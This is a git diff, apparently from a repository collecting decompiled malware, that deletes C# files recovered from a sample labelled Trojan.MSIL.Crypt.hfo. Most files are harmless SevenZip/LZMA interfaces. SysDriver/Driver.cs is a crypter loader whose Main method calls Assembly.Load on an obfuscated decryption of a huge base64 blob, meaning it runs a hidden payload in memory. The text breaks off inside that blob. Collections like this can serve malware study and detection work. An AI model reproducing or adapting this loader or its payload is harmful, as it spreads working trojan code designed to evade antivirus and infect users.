PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; - -namespace SevenZip -{ - internal class DataErrorException : ApplicationException - { - public DataErrorException() - : base("Data Error") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ICodeProgress.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ICodeProgress.cs deleted file mode 100644 index c8269011..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ICodeProgress.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICodeProgress -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -namespace SevenZip -{ - public interface ICodeProgress - { - void SetProgress(long inSize, long outSize); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ICoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ICoder.cs deleted file mode 100644 index 7edd8120..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ICoder.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System.IO; - -namespace SevenZip -{ - public interface ICoder - { - void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ISetCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ISetCoderProperties.cs deleted file mode 100644 index 59848747..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ISetCoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetCoderProperties -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -namespace SevenZip -{ - public interface ISetCoderProperties - { - void SetCoderProperties(CoderPropID[] propIDs, object[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ISetDecoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ISetDecoderProperties.cs deleted file mode 100644 index 9385f29d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/ISetDecoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetDecoderProperties -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -namespace SevenZip -{ - public interface ISetDecoderProperties - { - void SetDecoderProperties(byte[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/IWriteCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/IWriteCoderProperties.cs deleted file mode 100644 index a93c88ea..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/IWriteCoderProperties.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.IWriteCoderProperties -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System.IO; - -namespace SevenZip -{ - public interface IWriteCoderProperties - { - void WriteCoderProperties(Stream outStream); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/InvalidParamException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/InvalidParamException.cs deleted file mode 100644 index 482b4624..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/InvalidParamException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.InvalidParamException -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; - -namespace SevenZip -{ - internal class InvalidParamException : ApplicationException - { - public InvalidParamException() - : base("Invalid Parameter") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/SysDriver/Driver.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/SysDriver/Driver.cs deleted file mode 100644 index ea19f02f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/SysDriver/Driver.cs +++ /dev/null @@ -1,97 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SysDriver.Driver -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using SevenZip.Compression.LZMA; -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; -using System.Text; - -namespace SysDriver -{ - internal class Driver - { - private static void Main(string[] args) - { - Assembly Xz43Epm2A6Ywa5M9Bon8N7Dct4 = Assembly.Load(Driver.g6WLd9n3T5QbMx7i2X8DqKe43Zys5J("BqQsWg2QKEliEI5YR7bZS9vnMst4eiPboGGwHy5b2kfeaOJXx1An+HmgxYZ89AMlFEvXaBB/4z+QvQPJXIHxJDK3DfxiwCOaJTs9s/Vpf+UgBX/P/5LDKP4AXUsr2Avc/g/Yx7J0p+/nY3fOvHReswPrQWY+JHqCBriuvx0cs9OX7iKoe6uKeKBXfUieYwRtNILlaqDKOCwyYK/0BXZRXJvITccTRCMYHLNtSGx3pUxpsK72gmNYidjXuEbeJJIZ0DKrMRJYF2TXYdJkoOr63Tuc2PbCLE4+CSuiHt7RZ7h34wKOu3JZK8Do3LPZeNfv5Tm7s9PNdV2uWvmaogSzBXlyVwQ5gNSH1Et3PQAZkQ3kH95P8W+WolRmTPjk9eI5906GNTa7KLL29e7bQK5pTedqcAxoSgwy5m9nJUzrFUYomX5+cwFtICPGdqjzdGjhuh8+19hQvN2J5GEMqN6G+RoR7M9Ao3qHmdCWbbjCB3MHMjC6rP8vPVfQvKuq1F4eywJTduyGoZJJWyvDJK7+M/Lqoh7qsBql2a4/tbFfd9+AwDYUWOqjTOKSeo3noFP6oYn2AZA7EKz2440/AspQ+NXPP+1v7/VZdAOVk54ff8nARslJOq+6PTG/a7M9shkhfCBRvuyKENJZdfudUcJvkxlIVeZD+Nft/O3n6tr0Brgs/CGhI21G6fgI24bT6uhVfzHbSP+xebRf37vNVYGjVAVuVXOA+cJ2SarXKzxW8sVtpt7VNRwz6bRV+BLkvWGeK6yThp9zh1b62lwQ1Cin1ldggdJne/wX6Z+N9wYbtoyZ6fRGbcY0RGrbn7MigmVvdN2rJT4hcjGL3aKbyDC3EbWselGfkLkXddgv1Hw6HNNjtY2wvTKUB3mttx+lFpa0ySPlM8sGyBOjfCSG+C1y/uLDiQdvUjarkVmSvsfFZ4Hu6VmVLLPNBojg1Knl75shS4i8wa4YD5wR1Hu8KLmJbKokduFJ4x3ED4v4ixq7L9yp4UOa44HXB7bwfjrtdCZI20UhGJld5K7B/bGvLV9fF5Pxn6mun8sEn8kCBWgJg+R3+Td5t26xc0C6rcWsVW7/rPpLdJD9GVkYg5k0bnXSS4HmLSsh9niVOVXv+5qxAU4t2wGP/YCStEuuPFdXeRRihnqM18JfZJt8CRUZuRBVDimrjDBrUCBsTUvCUblBo5WGFE7gxWurlYP12MM463y+VEncMWWNsvn1OeoEadh7gGWDhNP1qs7CpClQ0ByuUjOJ4GzOnn2BGL0V9OF+SlYLcTHzMc10Cj+lvkaDLUW6ERK6TQWDe580wH5WetJ3hrX5cg+x4OoxeLC6scUxX9qX0rDQ3vMM2BHctQb8dkn4Bz3rhU+rdUcBnhUS252UH645/p9WcrnR2n3vP/lvRJbH0Ly9r2cDkIK7D3rNTJCtRg+BI19euvW94Cu2KX6U1MPUE/NW3BAdd0uETqjhcch/c0g+XJuq1VNfKSTgXbQ/7aPJUXV97ZDMCBBLGcrBqLbIbkYR1gZ6s8vObQ+SS1eXIPdsS70d+Kfb2fn8sfQSJSPq2HjpSN81A5vQSy7nCz6toQV25MM3A3UY0gfYR1OH48ikW+t26FyHSt01kI7BfmkMvBle4lla+aIAHd0lR8Utl19O9EqmlBFSGPiJc77r/JzbrzVe3tNsoHIcphvvhkLbBm9Hdy3Ka7p6oWXX3tFCtBQAqG6N8/4ZrhldEGk1ISCoSv2r8PDKmNLZdeoAIQt95MsL3zuMEictx0tjZGDOKj0E2LTVz00KrHmrgIBYdVYDpxh0tF6v9d64/4aBgYHR0i4kJz3pfOpMPLW3eeNMvt1PyyIHxKloi+SnpCVqO8U4icvNw/vhNR7JYWkzS+YMialjPOfIsPy5WIfuBIWwiq6/M3iKv7IysVhIitcEJoWFQAYBua/6c2wcblKzGgVbRN73KMZe3EoTh6dK94ZdCnze/vUYYGrVL9/9bF1LoxTYGDlIYlH01aTxmEGpV6f3Qq3pqj3wucJoN33jLSFSsIfG0et19kALuk4F5ESkGJZzqq0Dtrc8xHPEwyAc8P/HvV7ue9OygU5fPTXfKujjAnEKDnZT4bLu/wZ9ZlQI1D7nnbNXjT5RymCNY8UDiONHh5YZ1OC6TIcaCRuna9ziWZs+Gjm9NDM/RCkEooTyvhdHNYUPnmF8Qa9XyfKx19jyYRuotHZfy6OwloH8toI8HMgM/F0xyLVd91qbS+0d2so6YafA8/D5DS1mRqdpx/goNP7SJDkzuUJJ3bCl4lcF8RcEDSTwqurfq6/Lum6GWfkoY5ITVR5Q7o3OqyjMZJfmdOGfANqztCAPtoYlHz//AzTuwHMwmvzSY9LwoJiOBVYtw8MN003vzDYIhmXgjYMDsuZ3ygSHNQr3Z/wCDlC/PglXI4+GM+V/LwZhkwkESQysXNAnR7L+k32LOyX8HKxXO07862qfNT+kiNq5rwxgkhvlZL/xHBJyb1XeZ9ur+o/pBAjTwDrNwxEmzCgw9XCwsQ61pJV9mX6rI36R3voUO4hdUDSmBiyNMXGjceBDOKhtxl4SRc/+dIjuVDsjZximmfzXKMYnvycZuqV9KGMfOzeN6WxKn1DG/6MB6C2DCQQ8zZygnvPIOp+/5B5vvm+QvhiTHDBJZD+RwYbBuZxVAGvhH+xaUvMMO/oEJ8iefdKG/MoiPOncSn0CMC1/PFEtNjrRKHJyxDmOreEPyk8fM9ihgjIM8G1zJSZYzs6gg1+m9OBzjx4Y6oIlWiK2TqgyPAFIcnI/8hBmSQGAooJgeg/AY1WaVWG4UhOPlCNU14tpihJMR0nvcDA/pcYj7kpovIGI5GBLGdh78GGoHt/cJqnufa8/nW4qEJHLFviZvoVCRDNuBw38cQKeS+M7u3Y/T29U3pRTSCLkh2+0C0E44MGxiquSLqtTAr74b5m8+IROsEpeHGgImtGldU7Ere0FGYR4+ud5YlIHorpyPTrg2Jc8F/3AhqZkoowzqY85bKz81m5K4lITGM/ZwkD68TAhkQqm72eCvv1IAL5wRhuilAfwq8/De1lA5p93R/zIhYFK5aBoJP9nzzytq7HEcnmteWPaBhjaKPncFAs+sMkv23mPWVvNyhHcYaNpRoPMoDWtB8vcqknqV7fUf91o/y1g5DGpK35VdZLtCZ2PaN2o+eMHEqw61eu4zbGrLOZWPRlQh1qfjkOqenEJA+A9WUDI/j3ZMYLAn1KqnqyEUk8tnmtBaGc4EEPCZEzLV9gCXfSb2Z4dOISJ2qvwqHlxBgNrDlaXsnaycA7eQTaJP5ve3YY2TS8HBg1nYfPS3oxxFWHcK+//MwgXznusr+e9Ep8NXcJDSnRadvKYDP/r9EsvHzWtk1GO3iZ2FjcFDUhgwncJTV3E6SORJ0pYT6DginaU+K8hzuAUPxhJ0s/OMSmMmGZC4K7b76aTwSj/1GrCUG2l5v3RdkeAut10cBxcIU7PlSVa5cQJDICe9ZThh3Bz9umgAlJRIEe6XBFt2INoOCMqRlQRzakEeVgrfitL+gVdGjIJ6yXtjAerNFAN12DuZaZ+ipbH0+GkQbK6FAap9GaInRqEK3HR1mOPBf+gUWWsbnbxm2DOEJJlTmIXJPbVBTNpIKZPDzmBrXPRIBXRHxgphLP1WH6EI1Eswsv0UqTr1ZI9m/zDQS8d38WkHLQNFmcUdiaRU9vhmwYgXu4tSfAIYkC+e5l2MtycgsTwdinQB9t3QYJK4ZvWfy0xBf27OewpOCcrHvsm690ss+7v+CVdvVkR8Gv1HLUNRt4C0f161HsEUdxDqVj4Q2wMeee2Tk8ysKZzNpT8XcsAA83exlwkUqqLme0+fzZ6O/3Q46YLbV0ASkNPigjB46ox2ox+zDTsCZaJHoOIlQOnakZHD6eEBWA95PpbSxHPO0Y2ciyr/VzPB4WyJn3QD64KgGXvgw3zxmdTDt+xeaKKI2PUaNgr5E/Qgey/53donmO82ixdXa+rQvieuCG+l3dLGK7hb5b9HxQ0nlARGPG5XgIlhcTplkeJTFZuHDFW9RqZNU904PlZfEqwvyJlFqlTRs7Y4DL39BpHnckN52VY26skGRaGs/NTb0TbntgSMlyOwjESfSET+7DsK2EdcCyiKhasf7+ZRTeqQ3ANPUwF2K1fAvIiWvTWR7tXndOarUPfI0xTwoBaj7WlMAVDIukzikE/AOSmPvrP/3uqO6VB2YR6k5RqwmyTgk0obT0HiCgAypJN4CUdSIr7/k+EOoggxZEzXF8eKHZfXZ+YbNPIhD3oKr/UW9KwS7o2eJ2j0zhXBUBsW3O2bpWhu1LlFzcueM9hY5IDy0UKftnK6qCr5XNPgB29KeSbgQs5ORmOtXK/wEG99x15VgTKmEtdf0k8wa5kpsc4Kmvpe1wtJ3sqrIqfEVIrEiln+ASJOmG5wX0GMPGVd3NarZF4yl0C5m7/3P8DFfTqHeqObUX9MxMv1IxWqcGXVDpPv+dAbYV7MDjcWHvrEHb1aBsYSboRow6kge4cF/ndYyEe5MityEQhE8HbWPa5sDeCpKN7qdQ8yeReSwMnl+49LHU0hDC2ND3mTaeM2gQ/52lPkUkRvGwuN+2/33VDiPlayYvlFYzm4+ryluXFkeV1sofQhcEH9v0UYHmNMpkxVvoOx5Q0+EvSXqmqwseuhUk3cFU/HmKc995OOXRmh972vBKTYyG2KRwf5IBYbp49RBxvwSTxN8xh+KE5SfUL9k+d8sZZBX5JToa2mHv22Mud8eVXcoXhFOgz92AfNbrEPDGiRI+VCXpXhuBrtr5ClTLWk8lyeG5RtyPh12IR/4H3KOcyB7tweFLHWsptFWCvQsH0U5oWTh/VM7FaQ3kj6wLnj1XmG9qgiFaVl3b/+tMXEG4niWAS8mdWQo70P8nxVoo+9Uy9TbIm9r4EJJZz2y2WEdrScE3rbd+2+EviIoxJpV4KNtcPtCM+7J7+q5CLx1fP7MINz8P8KMzUj3YUVSS0KPK4y9YIlQqa7poVATJKIYWxlziTwUlZ7MHCYmvwVLzxfWLimv2kCSH5tTtZzv1OeXI4sfSGTnR3oQkMvV3juPGHGQQftKHIAskuA4OULNSqEBVh9tPCGHiFZkxGufsx0jH7ZKf/hDlESX5UHA0NjtJAvRbnlbXL8fz6+AioVbfwyi0aWDFfsGDGlnpVtUhXGPusnP6c09k+cbELX7BebTl5bLTAbMcC0aa0d0qgGAdT+WVUmnjEejWcX84dITAzrmzyaWvybugkPcdrH0ChCz0/cu9BXyHrHxha4hU+AHx4TmUEsdFPaH0u8ddJFQZtzC2Yb1CM1tGICcaFVipWfbsr4SLjkxJ8TpgFxFe/5DX0Ky3eOoS4jjfyQmMHWct/vHNM7En71SP7I5IlCP4xwYXoHzGjVMels5Z23i/BHaUOIeRCIXYEoV1Fm1x6OmZzIalotkKhBeMoaDtjGzu6ts98Vo6sCfgn6FfIUipj2EQNxcfTkyv1bzslKwquMZKXvVPIiVrAp/hAksDrK+p9el0aKyBz6kAWjPVSTxdJI1N5iuR881l+/UVrocl/w3QiLzwqF2dMaqcVSxOo8pYeOvb4Lwr8o+309tTbSJZKyqrWTW8F5lfLbXZ8qxhRrHKiIA0+cufkoas/yhJENfarqzfJmpkLIZTw185R4Z14ydhqjInyaYd9ZASrWood9/PJYb1sulB7ZaLme4jFq5WhIcmCzQV745vXgzR+faJYaUmiSBl1NEJZrT9fzra+GwTqB2qmlMTlcZGrYXDVzqUnS6xw7Oh9IQ3BHlA3e4PTb62jxPSsFZf4Tg/l+r+Fy+OsOfQV5jLIkxLv7JxSWEtj7phKH75t3E7u5OH1DadzgDyJeSPRq1zyjh94rYXrZrG00pGUg2h7do+HMEtNjX4pVERrNT9z+k/BxOmdmSXX6o8otFoXlS6gm1zoa08G4E353BoruGpI+yPVih5m57G+m0inTfah6QfRd2d/HEsK1NV/j7yqb9ZOFMSWdZx6gOX3IPsxM1j7qVXc3kCFybCjqKAbv78vFdFrCxLbQDVSEzBK9Qo4WRAq0xdHUMZAQA1B/d6fxgekYrgTzX6g44c87BgBl0pL2Ny2iinEOoP0tOCNRGSPAtPMMx8lmDLqp9pxi5gzGdGg0Oi3t3iPb86wkbdaPqJ95f4MXIttoqqGx7MmkryNInfrtuRGub4qHNe6059dFrsYlsh0on8JtbabH3J9Mgrtn9b9lYeaLt0CfqbzvPGaw5DfCs18FseCXvi1JRWeFs4cLs+ipxfsqDa9y2I4EGqEyOTZJrm8d58jWfDU4YPVuXEEwmpA+XRRn6t+0N1SFGNw5j+49l0ZPPgIBNoFT+eSpZLZ8w2xtSIfiReh3jvI3iqXX55j6op+vucGlG0x1Z2DrYHhu54ODnyPgx0bUfX6dGWGuRpQUShQC/qD7QEok05tHGPnvnAbPWPmIxujtxnnNJKpVh11OpXk9tr3CC+f8hbRxiuVxUn/QoKNISkK3PckLJjZhQ2GJkLn7rfVA9PU/tlHtPWah3jtypJ/Jd13pHNKZNYoooX2MLCoZviH0tVe57mUrbCm7pjEUt/t18dOoTniFdT8hl0WxRlpYmkh89VwWdJCKBRRWE6gReM3d42HDCdJW72PPXwR6DPkz/0u3Hund7HNorX5MDO5M2ggItVgO2XVtAdjlLsYrjgYCRqHLHc4uPU+ErYtVZeunxSGef9eRoMJei4TeJklzTEfAq/DAAnu9AjhH9TRPyWHMQn/nXPA1WQbEGmq2DqBEt1c1GEeHtDkLNvLQImFHltSw93C1ovlytxoc0IDeeeZzxSgCg/0K6aDuT4EvJDdjWIgYjIfaIRgIR3al7gP9IPxowfaZmflVAI+iaEn3C4soa9F1XnF+qgekmy9xoiBB8F5nI+1Ec9cgUKV2VHarq81p4/24hCO9hHfQd50bZuCX5thSt/woNVJ3dvvwSc2jA2UcfpEiXWFlHGQDRv1YkSRyjSpVmrJTID8k/DVR2wUXZ3u/rvF5BlnXknBaluyYToGIf1M7Z8UirW+T47HUnLbW+Rp0wFGJvMNox2DqEUMurUKtjVOKvqaa6mY8fyEl6afJ3ScIZWsgXP1ihQSIxc1zw5wQF+zojzUoOI6ILhS/l1xMGHA8dELFTImNG986A4I1d5TDEMfzx9XuNcJ1Lfv76WnzwUtfA9bwP2bWn3Bfd1EqYpjy1LAt/+Q0RuRcAKhAyz4jy1vmtQeZ//qNcgidwuwNqINknV5xEdmlBmv0GMEP3ylI32dHRhqAF61G3dJeC8G96gGTtBoxgDBMLbAqSe5wM90AAxQtoIwMfavox59Ol9gIi5IHQRb1os6GqRbFVUKn8DssH2504/vqLU8N/UNh0BKUjdJkjq6KleFHo8oDUAqNH9AZ1nIth2fScx2Fb2EXdNU2v5C8wBpanSE8JTd4l5b9Iy7a92UvV/SUl4UN3QURDS0CETG6KmZbppnoChjvC0y1INh7Nj0L7GzXP+lVU7AAMT+wEEEOSwMSZ7s8QMAPLoSqO1+Q+QbNeVEd6BpY5Yed+m5K1Ul0E3TUtVl72BKoUEvT8kyDWYJVdm3ccOsluZMUDu8iSUXUCrHuQ3JkWYBo/WBXnuJad4SU6mDQKntqxNflxwPrTC665Ln569M+2wLk4Ftv+3mYW9IAgdi5ucOeqHVnIn9xwk6UIeJB+kv7qwDbgqLBX7f2EN7JVpVMMdncLumbwQXGwD/MhRe5SOA8PiCLiCjQLE50weLWhODiqYc2TKnXUA5xqvM8V3T5dkz61gQUoNjOz6URhquhImvL1jDW0t/E2MR2ReXPPDQKaMW7q+yczwGuHifPPFksVq29acaL6WVZF+5PC4F5OONkLXN4yv4qSJQk+fUYz7ig6yv5lg7ByFHo8LKjfaCLeek84DlPenOVkN5kwIWdP0U761uEklXTHq9bkpqZhgy1aHQCAFEYACDdro6XtPOBfW7eNxIR2I3FurP+WNEza6v9JTMMtREOxAW/PxudIR+SLubwFHTQHF3qi/XvaEXSGp5Amos9foyrV4Z/Z8qXnpUQnvK3tfzZiwv0oo75CeeQum2MJv52xp4T2gJlLQ3ope9DNrJZpn6SyN5xqNw+1W1NFykSx3DSTSnEtsRLqxpyR+HkJO8Eg6bh1GDeHTfWMxXiUugos0xJ4JgwIFMl2q8vURnMyr4Letf1AaPgTnz1xwPnNwwIKOqDUCq2Cdm2Uc3RwPf0cD3PKpyeBTJL9w7ZXJ5PTTuFuNgW27bCIJFGuP+J0iERVe319Y43CeAXjP/RwvZGzjVA3aSuaYPs6zsVAvdWNYfvXgPR4FHI3vekeFWdxGQepSTwbIa4QqswGQ8EG9Li9lWZThyaIKXmYQZbb6pyAhq2OJA778y8uiDrYLWmI4TXWD5FXcS7RdYmDP37ASUzwMiWVo5VzX0HrpwrJgruwcg7QvxhckD2CKIVFAEcW5AramHOrWYZbrzeUqrFJlqMddc0vhbRMEuQzoWwQQV/Xad8Y8889yO6MBROO7JnjM0xKAgeXopIn2LhQIPyw5341sTZmCMUVqyBEosr2VvJTsSB4AedMKI6sDwLsOcl4OKtUd9bZEx9jIMJHNerRJItMKVbWdxJELwHvDrZpQhWvurSOBUiAmha82lx8OKP6N1pHJpBtIvrDsiyJ+40FZ+/ysISkp4K2ja5PoGgqsAZKldcsvQcjcKz7JjU41bnfDJ0AzgqNql4VL7wZAUmIeOaJwGCMAvO8EZQ2ZE05PBvRby70DfXNva8GMFwJqOu8nkdJ7zSS2BpqMc8iAMySM0isoKw3+u6wqSH3IToNLkIByhR4VITnj1sEsOMBxvAU/FQbDJ8/IzHjd7MAZZAz+a8yL5UMZt3YFjj4P5Ubp/2Jb24V8kIeeLnAQ4JpBENXs5ukUSz0SWsSB28/dc5KGcqxbaUIpxJg9Wnxwhp+ujBMlZyiwVb/OaCeSme2Mf/nAML7Y6bnXeZJlP582O/9CAAh2w5B1rWM/KQdi6G8mjvyTDfro0Bp7P3DXUMnftKMPw6Efx6QLzLh5/yzMi0b7F6iqF+lb9mkItGpt0fPzLp3Ai0Kzq3/CqHns4LEdV6Y1e8of9ELxfklvLiaxnT8FZc2Z9WiZjQlhLqk37HikVJRVj+k2KvwnGxuNYz+hNttzSjv4nG6Y4Pcd+cnHe1sEJvRQlKWJhpJptFU0u8roZrhIeRjNtL2+g/ZYApBesXlBCYuf/NqkwH3XAbMYhlkQKwIF1X2o/EGibbERcIP2WDpCmmmkKDqUQ0rvpUUT8tqxA7IfiLPTHVpQpNh6NKdm6HpkBxzBF+eqL0Otry6ST/x6gYCpJ7pePwYK8ruaVDci/MaTBS9OT+GJISxlqSP4HoZIHLd0tmoXjBZJAn9hyIGVte9+zomQT6L019mXb7hwCN05qtC3O41C93w8wL+65dDV6hZlvcYx/zRWdZ/K35a//PtkYi99DOSyjL8RQMNUs29Fgbhr3tVIJuLDmMDS+32NJ7+1kYjmOFa5gn4LoUUsTn0rKLBYczOEMWAacdqoRh+BwCPtZ2IljsDbup0pI2WyjrMayIL4XI8c0G3Qg5vTDFIsWvHcwcDUfe8vxDr1qX2AH0ptRfh18enfBe61aVz+mHW4jEmxNEVQ+6KLhXIPm9gZP1BeSZtN62JU461x5v5xR67CVo8pHfpmrDnrQ9qxeJGb9WW26/cByZYpA4WbrI4ATlyp0TTaaS7xZXl+zrgWtoho/yCeizKhGoYYHg8Pqvhpaep1MAzO0sop2GlcTvnbCtbVFd6es5fcRkYVYWxJ2XfdHlXsJgyFO0AjoppQGHGLx8zdXRJh8wkFqML3M7A8PXaXZVpJmdLnB54RNgUr6786nFVkDmhlBJn733jfHjLbBgqWsSKNjLz4ehmuX7DnKccmv7P/CzoARnBHDBFxA+eCqLofADyk6KL3y20svZUA6q2xGTHPf4FUN5E7SVw6QFL9ULEKGSApEzM0z8oJ0xfi4WW/9uYtR/fLAONRYBx3iZqEfySB1FF++tnRL2CbHP1rAvE+sP2XAUrUJsXFqiiuJ1ilk054RKGOePiroiWkzIp4SwMPrZqlcI2F1XkGmIEaXp02RaCOa+sN0TFCOYe4tiMhI5x2X+G3ifYY19m3QyxWNIXdJ51vNCHbiyoRGLgDB2xn8R03cLiSSOSlgbKt4vSDK7JuKn/33BLC7xKtlTJRtce8oXUrpBQMv+KgN8H6sdbHgbRTFMI+Wef9b6OxOVlQDae1oOJMTOl8qO5NVVeb1IchwmdtLvkOaltBgWJ7A+7iVsJsfeh/Xx2LnEhLJdC5QzstHfjCqVyFjbtaXhf2mPQRpud9qEuCer11fRQZc2ArwG5amHOezv9GMEHqq1CV9S4c0+rdDgqYsfN3NlhXK1/QryV+GhXQaL+fdoyygFE/+Jy9bO4OoKSfQHlHD6A4+uBf0EyujDo9OHvI9OUXaDa5ORnV793WzM416SEiLuoE8McUWFtixDOMCHN2F1oeGSFqcMDQ0yiJWT1lVEDjRAv+Ft9PECdjryBNG/oTY4MVwVnjfDiJby8xpd8olpOu5ZHrLROn9KwfuaNxsTWUZBprxE5iwX8P1wuXhSzGaCq72367AqGVEPbSkoYyPAbj/uiQh1GMPj7LpTcJo25zVtf47xT6UF8CxXJCfMUg1E/fkiRyhNt3nZTvbrnFZA71YmLlmm7hRaJziqM0DIfeeg7lyPAxoyG2LqRYl7ghgKvQ2PRGvFG6Q70TWQs51ih6dWLdwOpehhxOjx0KOjb4+gakqTwbsyj+OHVBjMJPObu9nxhhOCrgK/JszS5zyzqGAKycXiT0Qg4E37aIzwR0rvFgaASZ7z1sWqANg/gVqvz1WJMeNNLh8014mkTkJURQCqnz8CBzyRnTOZc/sYNvdSJw7fA